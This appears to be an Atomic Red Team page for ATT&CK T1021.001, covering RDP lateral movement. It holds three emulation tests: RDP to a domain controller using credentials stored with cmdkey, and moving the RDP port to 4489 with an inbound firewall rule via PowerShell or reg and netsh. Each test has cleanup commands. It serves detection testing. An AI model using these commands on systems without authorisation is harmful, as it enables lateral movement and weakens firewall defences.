T1021.001
Remote Services: Remote Desktop Protocol
Description from ATT&CK
Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)
Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features or Terminal Services DLL for Persistence.(Citation: Alperovitch Malware)
Atomic Tests
Atomic Test #1 - RDP to DomainController
Attempt an RDP session via Remote Desktop Application to a DomainController.
Supported Platforms: windows
auto_generated_guid: 355d4632-8cb9-449d-91ce-b566d0253d3e
Inputs:
Name | Description | Type | Default Value |
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logonserver | ComputerName argument default %logonserver% | string | $ENV:logonserver.TrimStart("\") |
domain | domain argument default %USERDOMAIN% | string | $Env:USERDOMAIN |
username | Username argument default %username% | string | $ENV:USERNAME |
password | Password | string | 1password2! |
Attack Commands: Run with powershell!
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$Server=#{logonserver}
$User = Join-Path #{domain} #{username}
$Password="#{password}"
cmdkey /generic:TERMSRV/$Server /user:$User /pass:$Password
mstsc /v:$Server
echo "RDP connection established"
Cleanup Commands:
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$p=Tasklist /svc /fi "IMAGENAME eq mstsc.exe" /fo csv | convertfrom-csv
if(-not ([string]::IsNullOrEmpty($p.PID))) { Stop-Process -Id $p.PID }
Dependencies: Run with powershell!
Description: Computer must be domain joined
Check Prereq Commands:
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if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) { exit 0} else { exit 1}
Get Prereq Commands:
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Write-Host Joining this computer to a domain must be done manually
Atomic Test #2 - Changing RDP Port to Non Standard Port via Powershell
Changing RDP Port to Non Standard Port via Powershell
Supported Platforms: windows
auto_generated_guid: 2f840dd4-8a2e-4f44-beb3-6b2399ea3771
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
OLD_Remote_Port | Default RDP Listening Port | string | 3389 |
NEW_Remote_Port | New RDP Listening Port | string | 4489 |
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
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Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "PortNumber" -Value #{NEW_Remote_Port}
New-NetFirewallRule -DisplayName 'RDPPORTLatest-TCP-In' -Profile 'Public' -Direction Inbound -Action Allow -Protocol TCP -LocalPort #{NEW_Remote_Port}
Cleanup Commands:
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Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "PortNumber" -Value #{OLD_Remote_Port}
Remove-NetFirewallRule -DisplayName "RDPPORTLatest-TCP-In" -ErrorAction Ignore
Get-Service TermService | Restart-Service -Force -ErrorAction Ignore
Atomic Test #3 - Changing RDP Port to Non Standard Port via Command_Prompt
Changing RDP Port to Non Standard Port via Command_Prompt
Supported Platforms: windows
auto_generated_guid: 74ace21e-a31c-4f7d-b540-53e4eb6d1f73
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
OLD_Remote_Port | Default RDP Listening Port | string | 3389 |
NEW_Remote_Port | New RDP Listening Port | string | 4489 |
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
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reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d #{NEW_Remote_Port} -f
netsh advfirewall firewall add rule name="RDPPORTLatest-TCP-In" dir=in action=allow protocol=TCP localport=#{NEW_Remote_Port}
Cleanup Commands:
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reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d #{OLD_Remote_Port} -f >nul 2>&1
netsh advfirewall firewall delete rule name="RDPPORTLatest-TCP-In" >nul 2>&1
net stop TermService >nul 2>&1
net start TermService >nul 2>&1